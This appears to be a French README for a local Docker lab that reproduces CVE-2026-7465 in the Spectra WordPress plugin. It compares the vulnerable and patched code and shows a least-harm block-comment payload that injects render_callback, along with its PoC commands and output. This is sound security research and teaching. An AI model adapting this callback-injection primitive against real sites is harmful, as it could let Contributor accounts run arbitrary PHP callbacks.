
Laboratoire Docker local pour analyser et reproduire CVE-2026-7465 dans le plugin WordPress Spectra Gutenberg Blocks. Compare les versions vulnérable et corrigée avec un PoC à moindre impact démontrant l'injection render_callback.
Laboratoire Docker local pour analyser et reproduire la CVE-2026-7465 dans le plugin WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
Ce laboratoire compare :
vuln : Spectra 2.19.25patched : Spectra 2.19.26La preuve est intentionnellement la moins dommageable possible. Elle n'exécute pas de commandes shell, ne télécharge pas de fichiers, ne crée pas d'utilisateurs et ne modifie pas directement le conteneur. Le PoC crée un brouillon d'article WordPress temporaire, vérifie le comportement du bloc rendu, puis supprime le brouillon.
CVE-2026-7465 est une vulnérabilité dans Spectra Gutenberg Blocks où les attributs de bloc Gutenberg contrôlés par l'utilisateur pouvaient être passés dans les arguments d'enregistrement des blocs WordPress.
Dans la version vulnérable, Spectra enregistre dynamiquement les blocs uagb/* analysés en utilisant les attributs de bloc du contenu de l'article :
$registry->register( $block['blockName'], $block['attrs'] );
Comme un Contributeur peut créer un contenu d'article contenant des commentaires de bloc Gutenberg, un utilisateur authentifié de niveau Contributeur peut influencer les arguments d'enregistrement tels que render_callback.
La version 2.19.26 corrige le problème en enregistrant le bloc avec un tableau d'arguments vide :
$registry->register( $block['blockName'], array() );
Cela empêche les attributs de bloc contrôlés par l'article de devenir des options d'enregistrement de bloc PHP.
Produit :
Spectra Gutenberg Blocks
Identifiant du plugin WordPress : ultimate-addons-for-gutenberg
Versions utilisées dans ce laboratoire :
vulnérable : 2.19.25
corrigée : 2.19.26
Le journal des modifications de WordPress.org pour 2.19.26 indique que la mise à jour a corrigé un bug de sécurité et remercie Wordfence pour le signalement responsable.
La logique vulnérable se trouve dans :
classes/class-uagb-init-blocks.php
Le code vulnérable vérifie si un nom de bloc analysé contient le namespace uagb/. Si le bloc n'est pas déjà enregistré, il l'enregistre dynamiquement.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
Le problème est le deuxième argument :
$block['attrs']
Dans Gutenberg, les attributs de bloc peuvent être stockés dans le contenu de l'article, par exemple :
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Un Contributeur peut créer un contenu de brouillon d'article. Par conséquent, l'attaquant peut influencer $block['attrs'].
Lorsque ces attributs sont passés à WP_Block_Type_Registry::register(), ils deviennent des arguments d'enregistrement de bloc. Un argument d'enregistrement sensible est :
render_callback
Cela crée une primitive de contrôle de rappel.
Dans 2.19.26, Spectra enregistre toujours le nom de bloc uagb/* analysé, mais ne passe plus les attributs contrôlés par l'article comme arguments d'enregistrement :
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
Le changement important est :
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Cela supprime les attributs contrôlés par l'attaquant du chemin d'enregistrement du bloc.
maybe_serializeLe PoC n'utilise pas de callbacks PHP dangereux comme system, exec, shell_exec ou passthru.
À la place, il utilise :
maybe_serialize
Le contenu du bloc de preuve est :
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Comportement attendu :
vulnérable :
le render_callback des attributs de bloc est accepté
le marqueur apparaît dans le contenu rendu
corrigée :
le render_callback des attributs de bloc est ignoré
le marqueur n'apparaît pas dans le contenu rendu
Cela prouve le comportement vulnérable sans exécuter de commandes ni écrire de fichiers.
Services :
db_vuln MariaDB pour WordPress vulnérable
db_patched MariaDB pour WordPress corrigé
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln configuration unique WordPress pour site vulnérable
seed_patched configuration unique WordPress pour site corrigé
Ports locaux :
http://127.0.0.1:8181 -> WordPress vulnérable
http://127.0.0.1:8182 -> WordPress corrigé
Utilisateur WordPress initial :
nom d'utilisateur : contributor
mot de passe : contributorpass123!
rôle : contributor
Le PoC est uniquement HTTP. Il interagit avec WordPress via la connexion et les requêtes API REST.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Démarrez depuis un environnement propre :
docker compose down -v --remove-orphans
docker compose up -d --build
Vérifiez les conteneurs :
docker compose ps
Vérifiez les logs d'initialisation :
docker compose logs seed_vuln seed_patched
Résultat attendu de l'initialisation :
[+] seed vuln: done
[+] seed patched: done
Testez la cible vulnérable :
python3 poc/poc.py -t http://127.0.0.1:8181
Verdict vulnérable attendu :
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Testez la cible corrigée :
python3 poc/poc.py -t http://127.0.0.1:8182
Verdict corrigé attendu :
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
La comparaison importante est :
raw_contains_marker
rendered_contains_marker
Les cibles vulnérable et corrigée devraient toutes deux afficher :
raw_contains_marker: True
Cela confirme que le même contenu de bloc a été enregistré avec succès dans un brouillon d'article temporaire.
La différence se trouve dans la sortie rendue :
vulnérable :
rendered_contains_marker: True
corrigée :
rendered_contains_marker: False
Cela démontre que la version vulnérable a accepté le render_callback contrôlé par l'article, tandis que la version corrigée ne l'a pas fait.
Arrêtez et supprimez les conteneurs, réseaux et volumes :
docker compose down -v --remove-orphans
Supprimez le cache Python s'il est présent :
rm -rf poc/__pycache__
Ce dépôt est destiné uniquement à la recherche en sécurité locale et à la démonstration de portfolio.
Le PoC :
N'exécutez pas ceci contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Page du plugin WordPress.org : Spectra Gutenberg Blocks - Constructeur de sites pour l'éditeur de blocs
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
Journal des modifications WordPress.org : mise à jour de sécurité 2.19.26 - Lundi 4 mai 2026 attribuée à Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
SVN / Trac des plugins WordPress
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/